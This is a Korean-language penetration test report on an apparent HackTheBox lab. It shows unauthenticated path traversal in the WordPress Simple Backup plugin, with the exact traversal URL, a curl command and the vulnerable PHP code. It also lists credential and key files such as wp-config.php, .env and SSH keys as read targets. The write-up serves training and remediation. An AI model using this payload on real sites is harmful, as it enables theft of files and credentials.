
WordPress Simple Backup 플러그인의 인증되지 않은 경로 탐색(CVE-2019-11447)을 시연하는 상세 침투 테스트 보고서로, 악용 단계, 영향 분석 및 수정 지침을 포함합니다.
| 항목 | 세부 정보 |
|---|---|
| 문서 제목 | 침투 테스트 보고서 - WordPress 경로 순회 |
| 고객/시험 | HackTheBox Lab - CPTS Exercise 1 |
| 날짜 | 2026년 8월 22일 |
| 평가자 | Fernando Viana (침투 테스터) |
| 평가 유형 | 그레이 박스 (외부, 자격 증명 없음) |
| 실습 환경 | 154.57.164.73:30706 |
| 실습 기간 | 1시간 |
| 목표 | 취약점을 식별하고 악용하여 제한된 파일 검색 |
| 획득한 플래그 | HTB{my_f1r57_h4ck} |
154.57.164.73:30706에서 호스팅되는 웹 애플리케이션에 대한 이 침투 평가에서, 인증되지 않은 공격자가 서버 파일 시스템에서 임의의 파일을 다운로드하고 읽을 수 있게 하는 치명적 취약점이 식별되었습니다.
취약한 WordPress 설치에는 인증이나 권한 부여 없이 무단 파일 접근을 허용하는 **경로 순회 취약점(CVE-2019-11447)**이 있는 오래된 플러그인(Simple Backup v2.7.10)이 포함되어 있습니다.
이 취약점은 서버 루트에서 /flag.txt 파일을 검색하는 데 성공적으로 악용되었으며, 이는 기밀성의 완전한 침해를 확인시켜 줍니다. 이 접근 권한을 가진 공격자는 다음을 수행할 수 있습니다:
wp-config.php, .env) 추출이 취약점은 데이터 보안, 개인정보 보호 규정 준수(GDPR, HIPAA, PCI-DSS) 및 시스템 무결성에 극심한 위험을 초래하므로 즉시 해결하기 위한 중대한 조치가 필요합니다.
| 심각도 | 건수 | 비즈니스 영향 |
|---|---|---|
| 🔴 치명적 | 1 | 완전한 기밀성 침해; 무단 파일 접근 |
| 🟠 높음 | 0 | — |
| 🟡 중간 | 0 | — |
| 🟢 낮음 | 0 | — |
| ℹ️ 정보성 | 1 | 오래된 소프트웨어 버전 감지 |
평가 유형: 그레이 박스 (외부 공격자, 자격 증명 미제공, 네트워크 접근 가능)
평가 날짜: 2026년 8월 22일
테스트 접근 방식: 업계 표준 침투 테스트 프레임워크(PTES)를 따르는 비회피적이고 체계적인 평가:
CVE-2019-11447 | CWE-22: 제한된 디렉터리에 대한 경로명의 부적절한 제한
WordPress 플러그인 Simple Backup(버전 2.7.10/2.7.11, Exploit-DB 39883)에는 관리자 "Backup Manager" 페이지에 경로 순회 취약점이 포함되어 있습니다. 이 플러그인은 download_backup_file GET 매개변수를 통해 제공된 파일 경로를 정제하지 않아, 공격자가 상대 경로 시퀀스(../)를 사용하여 의도된 simple-backup/ 디렉터리 외부로 이동하고 웹 서버 프로세스가 읽을 수 있는 모든 파일(파일 시스템 루트에 있는 파일 포함)을 다운로드할 수 있게 합니다.
취약한 엔드포인트:
GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
page=backup_manager는 요청을 플러그인의 관리자 페이지 핸들러로 라우팅합니다. download_backup_file은 플러그인 코드가 직접 읽어 검증 없이 파일 시스템 경로에 연결하는 매개변수로, 디렉터리 트래버설(directory traversal)을 허용합니다.
7.5 - HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
기밀성 침해: ⚠️ 심각
공격자는 웹 서버가 접근할 수 있는 모든 파일을 읽을 수 있으며, 여기에는 다음이 포함됩니다:
| 파일 | 영향 | 위험 수준 |
|---|---|---|
/wp-config.php | 데이터베이스 자격 증명, salts, 키 | 🔴 심각 |
/.env | API 키, 비밀 정보, 구성 | 🔴 심각 |
/etc/passwd | 사용자 열거, 시스템 매핑 | 🟠 높음 |
SSH 키 (.ssh/id_rsa) | 측면 이동, 시스템 접근 | 🔴 심각 |
/proc/self/environ | 실행 중인 애플리케이션 비밀 정보 | 🟠 높음 |
| 사용자 업로드 디렉터리 | 비공개 파일, 미디어 | 🟠 높음 |
규제 영향:
Exploit-DB 권고문(39883.txt, searchsploit -x로 열람 — ht4-poc.png 참조)은 simple-backup-manager.php에 있는 플러그인의 삭제 프리미티브를 문서화합니다:
if(array_key_exists('delete_backup_file', $_GET)){
$this->delete_local_backup_file($_GET['delete_backup_file']);
}
$bk_dir = ABSPATH."simple-backup/";
unlink($bk_dir . $filename);
$filename은 $_GET['delete_backup_file']에서 직접 가져오며, basename()이나 경로 포함 검사가 전혀 없습니다. ../pizza.txt를 전달하면 $bk_dir . $filename이 .../simple-backup/../pizza.txt → .../pizza.txt로 해석되어 의도된 백업 폴더를 벗어납니다.
이번 침투에서 실제로 악용된 download 프리미티브(download_backup_file)는 동일한 플러그인에서 똑같은 무검증 문자열 연결 패턴을 따르지만, 파일을 삭제하는 대신 요청자에게 그대로 반환합니다. 이로 인해 파일시스템 루트에서 /flag.txt를 가져올 수 있었습니다(ABSPATH/simple-backup/에서 ../를 10회 사용).
문제점:
basename() 사용 없음realpath()가 ABSPATH."simple-backup/" 내에 머무는지 검증하지 않음current_user_can() / 인증 검사 없음 — 핸들러가 플러그인 로드 시점에 실행되어 WordPress 자체의 wp-admin 인증 게이트보다 먼저 동작하므로 로그인하지 않고도 접근 가능브라우저를 통해 대상에 직접 연결했습니다(http://154.57.164.73:30706/). WordPress 설치의 제목은 **"GETTING STARTED"**이며, 홈페이지의 공개 블로그 게시물이 취약한 플러그인의 정확한 이름과 버전을 평문으로 노출하고 있었습니다: "Simple Backup Plugin 2.7.10 for WordPress" — 취약한 구성 요소를 핑거프린팅하는 데 열거 도구조차 필요하지 않았습니다.

whatweb http://154.57.164.73:30706/
결과: Apache/2.4.41 (Ubuntu Linux), WordPress 5.6.1이 MetaGenerator 및 WordPress 플러그인 시그니처를 통해 확인됨.

searchsploit simple backup wordpress
결과:
Exploit Title | Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

취약한 매개변수와 코드 경로를 정확히 파악하기 위해 전체 권고문을 읽는 중:
searchsploit -x php/webapps/39883.txt
이 권고문은 delete_backup_file 파라미터를 통한 인증되지 않은 임의 파일 삭제(Arbitrary File Deletion) 를 문서화하고 있으며, simple-backup/ 아래의 백업 파일(그리고 동일한 비살균 코드 경로를 통해 download_backup_file을 통한 임의 파일)이 인증 없이 검색될 수 있다고 명시하고 있습니다.

download_backup_file을 통한 경로 순회(Path Traversal)플러그인의 관리자 페이지 라우팅에서 식별된 취약한 엔드포인트:
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=
익스플로잇 페이로드 (ABSPATH/simple-backup/에서 파일시스템 루트로 되돌아가기 위한 10× ../):
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt
GUI(이 평가에서 사용됨): 페이로드 URL을 브라우저 주소 표시줄에 직접 입력하여 접속했습니다. 로그인이 필요하지 않았으며, 브라우저가 확인된 flag.txt의 자동 파일 다운로드를 트리거했습니다.

헤드리스 동등 방식:
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt
획득한 플래그: HTB{my_f1r57_h4ck}
이 취약점이 성공하는 이유는 다음과 같습니다:
$_GET['download_backup_file']이 화이트리스트와 대조되지 않음realpath()를 사용하여 파일이 simple-backup/ 내부에 머무는지 확인하지 않음../)가 필터링되지 않음ABSPATH."simple-backup/"에 직접 연결됨wp-admin 인증 게이트 이전에 동작하므로 — 로그아웃 상태에서도 접근 가능current_user_can() 검사가 없음